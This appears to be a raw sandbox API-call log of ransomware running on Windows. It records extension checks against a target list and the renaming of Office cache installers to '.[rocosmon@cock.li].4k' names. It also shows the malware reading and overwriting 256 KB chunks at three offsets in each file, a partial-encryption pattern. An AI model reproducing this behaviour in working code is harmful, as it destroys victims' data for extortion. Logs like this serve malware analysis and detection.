	[0099.108] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0099.108] lstrlenW (lpString=".7z") returned 3
	[0099.108] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0099.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75
	[0099.108] lstrlenW (lpString=".dbf") returned 4
	[0099.108] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0099.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75
	[0099.108] lstrlenW (lpString=".1cd") returned 4
	[0099.108] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0099.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75
	[0099.108] lstrlenW (lpString=".jpg") returned 4
	[0099.108] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0099.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75
	[0099.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75
	[0099.108] lstrlenW (lpString=".doc") returned 4
	[0099.108] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0099.108] lstrlenW (lpString=".docx") returned 5
	[0099.108] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0099.108] lstrlenW (lpString=".pdf") returned 4
	[0099.108] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0099.108] lstrlenW (lpString=".xls") returned 4
	[0099.108] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0099.108] lstrlenW (lpString=".xlsx") returned 5
	[0099.108] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0099.108] lstrlenW (lpString=".ppt") returned 4
	[0099.108] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0099.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75
	[0099.108] lstrlenW (lpString=".zip") returned 4
	[0099.109] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0099.109] lstrlenW (lpString=".rar") returned 4
	[0099.109] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0099.109] lstrlenW (lpString=".bz2") returned 4
	[0099.109] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0099.109] lstrlenW (lpString=".7z") returned 3
	[0099.109] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0099.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75
	[0099.109] lstrlenW (lpString=".dbf") returned 4
	[0099.109] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0099.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75
	[0099.109] lstrlenW (lpString=".1cd") returned 4
	[0099.109] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0099.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75
	[0099.109] lstrlenW (lpString=".jpg") returned 4
	[0099.109] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0099.109] lstrcmpiW (lpString1=".msi", lpString2=".4k") returned 1
	[0099.109] lstrlenW (lpString="VisioMUI.msi") returned 12
	[0099.109] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0099.109] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x311ff1c | out: lpFileSize=0x311ff1c*=2797568) returned 1
	[0099.109] CloseHandle (hObject=0x1e8) returned 1
	[0099.109] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi")) returned 0x2020
	[0099.110] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0099.110] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0099.308] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0099.309] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc6c | out: lpNewFilePointer=0x0) returned 1
	[0099.309] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc2c | out: lpNewFilePointer=0x0) returned 1
	[0099.309] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x311fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0099.380] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x311fc2c | out: lpNewFilePointer=0x0) returned 1
	[0099.380] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x311fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0099.449] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x311fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.449] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x311fc2c | out: lpNewFilePointer=0x0) returned 1
	[0099.449] ReadFile (in: hFile=0x1e4, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x311fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0099.485] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.485] WriteFile (in: hFile=0x1e4, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x311fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x311fcb0*=0xc0104, lpOverlapped=0x0) returned 1
	[0099.855] SetEndOfFile (hFile=0x1e4) returned 1
	[0099.910] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f402b0
	[0099.910] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc7c | out: lpNewFilePointer=0x0) returned 1
	[0099.910] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x311fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0099.912] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x311fc7c | out: lpNewFilePointer=0x0) returned 1
	[0099.912] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x311fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0099.918] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x311fc7c | out: lpNewFilePointer=0x0) returned 1
	[0099.918] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x311fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0099.920] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f402b0 | out: hHeap=0x4a0000) returned 1
	[0099.920] CloseHandle (hObject=0x1e4) returned 1
	[0099.921] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0099.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75
	[0099.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75
	[0099.921] lstrlenW (lpString=".doc") returned 4
	[0099.921] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0099.921] lstrlenW (lpString=".docx") returned 5
	[0099.921] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0099.921] lstrlenW (lpString=".pdf") returned 4
	[0099.921] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0099.921] lstrlenW (lpString=".xls") returned 4
	[0099.921] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0099.921] lstrlenW (lpString=".xlsx") returned 5
	[0099.921] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0099.921] lstrlenW (lpString=".ppt") returned 4
	[0099.921] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0099.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75
	[0099.922] lstrlenW (lpString=".zip") returned 4
	[0099.922] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0099.922] lstrlenW (lpString=".rar") returned 4
	[0099.922] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0099.922] lstrlenW (lpString=".bz2") returned 4
	[0099.922] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0099.922] lstrlenW (lpString=".7z") returned 3
	[0099.922] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0099.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75
	[0099.922] lstrlenW (lpString=".dbf") returned 4
	[0099.922] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0099.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75
	[0099.922] lstrlenW (lpString=".1cd") returned 4
	[0099.922] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0099.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75
	[0099.922] lstrlenW (lpString=".jpg") returned 4
	[0099.922] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0099.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75
	[0099.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75
	[0099.922] lstrlenW (lpString=".doc") returned 4
	[0099.922] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0099.922] lstrlenW (lpString=".docx") returned 5
	[0099.922] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0099.922] lstrlenW (lpString=".pdf") returned 4
	[0099.922] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0099.922] lstrlenW (lpString=".xls") returned 4
	[0099.922] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0099.922] lstrlenW (lpString=".xlsx") returned 5
	[0099.923] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0099.923] lstrlenW (lpString=".ppt") returned 4
	[0099.923] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0099.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75
	[0099.923] lstrlenW (lpString=".zip") returned 4
	[0099.923] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0099.923] lstrlenW (lpString=".rar") returned 4
	[0099.923] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0099.923] lstrlenW (lpString=".bz2") returned 4
	[0099.923] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0099.923] lstrlenW (lpString=".7z") returned 3
	[0099.923] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0099.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75
	[0099.923] lstrlenW (lpString=".dbf") returned 4
	[0099.923] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0099.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75
	[0099.923] lstrlenW (lpString=".1cd") returned 4
	[0099.923] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0099.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75
	[0099.923] lstrlenW (lpString=".jpg") returned 4
	[0099.923] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0099.923] lstrcmpiW (lpString1=".msi", lpString2=".4k") returned 1
	[0099.923] lstrlenW (lpString="GrooveMUI.msi") returned 13
	[0099.924] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0099.924] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x311ff1c | out: lpFileSize=0x311ff1c*=2507776) returned 1
	[0099.924] CloseHandle (hObject=0x1e4) returned 1
	[0099.924] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi")) returned 0x2020
	[0099.924] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0099.924] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0099.925] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0099.925] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc6c | out: lpNewFilePointer=0x0) returned 1
	[0099.925] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc2c | out: lpNewFilePointer=0x0) returned 1
	[0099.925] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x311fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0099.948] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x311fc2c | out: lpNewFilePointer=0x0) returned 1
	[0099.948] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x311fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0100.127] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x311fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.127] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x311fc2c | out: lpNewFilePointer=0x0) returned 1
	[0100.127] ReadFile (in: hFile=0x1e4, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x311fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0100.190] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.190] WriteFile (in: hFile=0x1e4, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x311fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x311fcb0*=0xc0106, lpOverlapped=0x0) returned 1
	[0100.218] SetEndOfFile (hFile=0x1e4) returned 1
	[0100.219] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f402b0
	[0100.219] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc7c | out: lpNewFilePointer=0x0) returned 1
	[0100.219] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x311fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0100.220] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x311fc7c | out: lpNewFilePointer=0x0) returned 1
	[0100.220] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x311fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0100.227] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x311fc7c | out: lpNewFilePointer=0x0) returned 1
	[0100.227] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x311fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0100.231] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f402b0 | out: hHeap=0x4a0000) returned 1
	[0100.231] CloseHandle (hObject=0x1e4) returned 1
	[0100.231] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0100.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76
	[0100.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76
	[0100.232] lstrlenW (lpString=".doc") returned 4
	[0100.232] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0100.232] lstrlenW (lpString=".docx") returned 5
	[0100.232] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0100.232] lstrlenW (lpString=".pdf") returned 4
	[0100.232] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0100.232] lstrlenW (lpString=".xls") returned 4
	[0100.232] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0100.232] lstrlenW (lpString=".xlsx") returned 5
	[0100.232] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0100.232] lstrlenW (lpString=".ppt") returned 4
	[0100.232] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0100.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76
	[0100.232] lstrlenW (lpString=".zip") returned 4
	[0100.232] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0100.232] lstrlenW (lpString=".rar") returned 4
	[0100.232] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0100.232] lstrlenW (lpString=".bz2") returned 4
	[0100.232] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0100.232] lstrlenW (lpString=".7z") returned 3
	[0100.232] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0100.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76
	[0100.232] lstrlenW (lpString=".dbf") returned 4
	[0100.232] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0100.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76
	[0100.232] lstrlenW (lpString=".1cd") returned 4
	[0100.232] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0100.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76
	[0100.232] lstrlenW (lpString=".jpg") returned 4
	[0100.232] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0100.233] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76
	[0100.233] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76
	[0100.233] lstrlenW (lpString=".doc") returned 4
	[0100.233] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0100.233] lstrlenW (lpString=".docx") returned 5
	[0100.233] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0100.233] lstrlenW (lpString=".pdf") returned 4
	[0100.233] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0100.233] lstrlenW (lpString=".xls") returned 4
	[0100.233] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0100.233] lstrlenW (lpString=".xlsx") returned 5
	[0100.233] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0100.233] lstrlenW (lpString=".ppt") returned 4
	[0100.233] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0100.233] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76
	[0100.234] lstrlenW (lpString=".zip") returned 4
	[0100.234] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0100.234] lstrlenW (lpString=".rar") returned 4
	[0100.234] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0100.234] lstrlenW (lpString=".bz2") returned 4
	[0100.234] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0100.234] lstrlenW (lpString=".7z") returned 3
	[0100.234] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0100.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76
	[0100.234] lstrlenW (lpString=".dbf") returned 4
	[0100.234] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0100.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76
	[0100.234] lstrlenW (lpString=".1cd") returned 4
	[0100.234] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0100.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76
	[0100.234] lstrlenW (lpString=".jpg") returned 4
	[0100.234] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0100.234] lstrcmpiW (lpString1=".EXE", lpString2=".4k") returned 1
	[0100.234] lstrlenW (lpString="DW20.EXE") returned 8
	[0100.234] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0100.271] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x311ff1c | out: lpFileSize=0x311ff1c*=838536) returned 1
	[0100.272] CloseHandle (hObject=0x1fc) returned 1
	[0100.272] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 0x2020
